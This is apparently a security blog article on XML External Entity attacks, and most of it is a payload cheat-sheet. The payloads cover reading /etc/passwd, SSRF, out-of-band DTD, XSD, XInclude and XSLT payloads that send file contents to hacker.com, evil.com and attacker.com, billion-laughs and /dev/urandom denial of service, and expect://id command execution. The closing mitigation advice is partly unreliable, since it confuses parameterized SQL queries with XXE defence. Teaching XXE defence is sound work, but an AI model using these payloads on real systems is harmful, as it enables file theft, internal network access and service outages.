Attacking & Protecting Against XML External Entity (XXE) Attacks

XML External Entity (XXE) attacks are a serious threat to the security of web applications.

XXE attacks occur when an attacker can inject XML data into an application that is processed by an XML parser without proper validation or sanitization. This can result in an attacker gaining access to sensitive data or executing arbitrary code on the affected system.

Dangers of XXE Attacks

The dangers of XXE attacks are significant. Attackers can use XXE attacks to gain access to sensitive data, including user credentials and system configuration files. They can also execute arbitrary code on the affected system, which can result in complete system compromise.

Additionally, XXE attacks can be used to launch denial-of-service attacks, which can lead to system downtime and lost revenue.

Common XXE attack vectors

• DTD attack vectors

  • Confident data disclosure (file disclosure / LFI (Local File Inclusion))

  • External entities enables to read arbitrary files from system (if xml parser has read rights to the file)

  • However, if you request directory - usually (everything depends on parser) this will lead to an error, but some XML parsers (e.g. JAVA Xerces) will disclosure directory fine-names

 <!ENTITY xxe SYSTEM "file:///etc/passwd">

• SSRF (Server Side Request Forgery)

  • External entities are able to make SSRF attacks, by making request to internal network from web-server parsing XML document (meaning - making requests from internal network, bypassing perimeter protection)

<!ENTITY xxe SYSTEM "http://secret.dev.company.com/secret_pass.txt">

• Out-Of-Band - using XML entities, data from server can be grabbed and sent to hacker.com (NO server output required)

Approach 1:

• document.xml - you can change xxe entity to general entity

  <!DOCTYPE root [
      <!ENTITY % remote SYSTEM "http://hacker.com/evil.dtd">
      %remote; %intern; %xxe;]><root>&xxe;</root> 

• http://hacker.com/evil.dtd - consider error-based

    <!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
    <!ENTITY % intern "<!ENTITY % xxe SYSTEM 'http://hacker.com/result-is?%payl;'>">
    <!ENTITY % intern "<!ENTITY % xxe SYSTEM 'file://%payl;'>">

Approach 2:

document.xml - you can change xxe entity to general entity

<!DOCTYPE root [
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % remote SYSTEM "http://hacker.com/evil.dtd">
     %remote; %intern; %xxe;
]> 
<root>&xxe;</root>

http://hacker.com/evil.dtd - consider error-based

 <!ENTITY % intern "<!ENTITY % xxe SYSTEM 'http://hacker.com/result-is?%payl;'>">
 <!ENTITY % intern "<!ENTITY % xxe SYSTEM 'file://%payl;'>">

Approach 3: CDATA inside xml

	<root>
	    <![CDATA[
	        <!ENTITY % stuff SYSTEM "file:///var/www/html/app/WEB-INF/ApplicationContext.xml">
	    ]]>
	</root>

	<![CDATA[
	    <!DOCTYPE doc [
	        <!ENTITY % dtd SYSTEM "http://evil.com/">
	        %dtd;
	    ]>
	    <xxx/> <-- ???
	]]>

Important to note: Because of XML standards you have to pack external entities into evil.dtd. In core XML parameter entities must not depend on each other, as the parser will not make replacements.

• Denial-of-Service (DoS):

  • XXE attacks can also be used to cause a denial-of-service condition.

  • A common one is a billion laughs attack.

  • A billion laughs attack is a type of DoS attack that involves the use of recursive XML entities to overwhelm an XML parser with a large amount of data.

    • Billion laughs attack

      • Using XML entities, server memory resource can be exhausted by constructing overly long entity value.

<?xml version="1.0"?>
    <!DOCTYPE root [
	    <!ENTITY foofoo "foofoo">
	    <!ENTITY foofoo1 "&foofoo;&foofoo;&foofoo;">
	    <!ENTITY foofoo2 "&foofoo1;&foofoo1;&foofoo1;">
	    <!ENTITY foofoo3 "&foofoo2;&foofoo2;&foofoo2;">
	]>
<root>&foofoo3;</root>

• If the DoS target is linux based, Linux local devices can be used:

<?xml version="1.0"?>
	  <!DOCTYPE root [
	      <!ENTITY xxe1 SYSTEM "/dev/urandom">
	      <!ENTITY xxe2 SYSTEM "/dev/zero">
	  ]>
<root>&xxe1;&xxe2;</root>

• If recursion is available in the entity it can also be used to cause a DoS condition

  <!DOCTYPE data [
	  <!ENTITY a "a&b;" >
	  <!ENTITY b "&a;" >
	  ]>
<data>&a;</data>

- Remote Code Execution - RCE (Remote Code Execution) is a security vulnerability that allows an attacker to execute arbitrary code on a remote system or application.

Some parsers enable an attacker to execute commands from XML entities.

e.g. for php, if ‘expect’ extension is explicitly installed into php.

<!ENTITY xxe SYSTEM "expect://id">

- XSD attack vectors - XSD (XML Schema Definition) is a language for describing and validating the structure and content of XML documents. it can be used maliciously

- Out-Of-Band - XSD permits an attacker to make remote requests or local file requests

Several ways to make request (usually xsd is positioned in XML schema documents (doc.xsd), but some directives are placed in XML file directly):

- schemaLocation - uses .xml file

document.xml

<document xmlns="http://any.namespace.name/like.url" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://any.namespace.name/like.url http://attacker.com/evil.xsd">text</document>

- noNamespaceSchemaLocation - uses .xml file

document.xml

<document xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://attacker.com/evil.xsd">text</document>

- XInclude - uses .xml file as in the schema for xsd “http://www.w3.org/2001/XInclude” is not compatible with “http://www.w3.org/2001/XMLSchema”

<data xmlns:xi="http://www.w3.org/2001/XInclude">
   <xi:include href="http://attacker.com/evil.xml"/>
   <xi:include href="file:///etc/passwd" parse="text"/>
</data>

- import / include - in a .xsd file

<xs:schema elementFormDefault="qualified"
      xmlns:xs="http://www.w3.org/2001/XMLSchema"
      xmlns:myNS="myNS">
      <xs:import namespace="myNS" schemaLocation="http://attacker.com/evil.xsd"/>
      <xs:include namespace="myNS2" schemaLocation="http://attacker.com/evil.xsd"/>
</xs:schema>

- XSLT attack vectors

(sources: XSLT Processing Security and SSRF. Emanuel Duss, Roland Bischofberger, OWASP 2015 (huge research of XSLT processors))

- getting system information

<xsl:template match="/">
    XSLT Version: <xsl:value-of select="system-property('xsl:version')" />
    XSLT Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
    XSLT Vendor URL: <xsl:value-of select="system-property('xsl:version-url')" />
</xsl:template>

- By using Out-Of-Band XSLT includes you can be permitted to make remote requests (or local files requests)

- xml-stylesheet

<?xml version="1.0"?>
  	<?xml-stylesheet type="text/xsl" href="http://evil.com/evil.xsl"?>
  	<doc></doc>

- import / include - .xsl file type

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
   <xsl:import href="http://attacker.com/evil.xsl"/>
   <xsl:include href="http://attacker.com/evil.xsl"/>
</xsl:stylesheet>

- XSLT Out-Of-Band through variables and value-of definition

- only for valid xml files, or expect to get only first line

<xsl:value-of select="document('test.html')" />
<xsl:value-of select="document('http://dev.company.com/secret.txt')" />

- another attack example:

<xsl:variable name="name1" select="document('file:///etc/passwd')" />
<xsl:variable name="name2" select="concat('http://evil.com/?', $name1)" />
<xsl:variable name="name3" select="document($name2)" />

This is by no means an exhaustive list of all XXE attacks, but it is a good primer.

Mitigation Methods for XXE Attacks

There are several mitigation methods that can be used to protect against XXE attacks. These methods include:

Disable External Entity Expansion: XML parsers can be configured to disable external entity expansion, which will prevent an attacker from injecting an external entity into the application. This can be done by setting the feature "http://xml.org/sax/features/external-general-entities" to false.

Use a Secure XML Parser: It is important to use a secure XML parser that is not vulnerable to XXE attacks. Some secure XML parsers include the Java API for XML Processing (JAXP) and the .NET XML classes.

Use Input Validation: Input validation can be used to filter out malicious input from user-supplied data. This can be done by whitelisting or blacklisting specific XML elements, attributes, or data types.

Use Parameterized Queries: When querying a database, it is important to use parameterized queries to prevent SQL injection attacks. This can prevent an attacker from injecting an XXE payload into a database query.

Keep Software Up-to-Date: It is important to keep all software and dependencies up-to-date to ensure that any known vulnerabilities are patched.

Conclusion

XML External Entity (XXE) attacks are a serious threat to the security of web applications. These attacks can result in the theft of sensitive data, system compromise, and denial-of-service attacks.

Mitigation methods such as disabling external entity expansion, using a secure XML parser, input validation, using parameterized queries, and keeping software up-to-date can help protect against XXE attacks. By following these tips and understanding the types of vulnerabilities you may have, you can help ensure the security of their applications and protect against XXE attacks.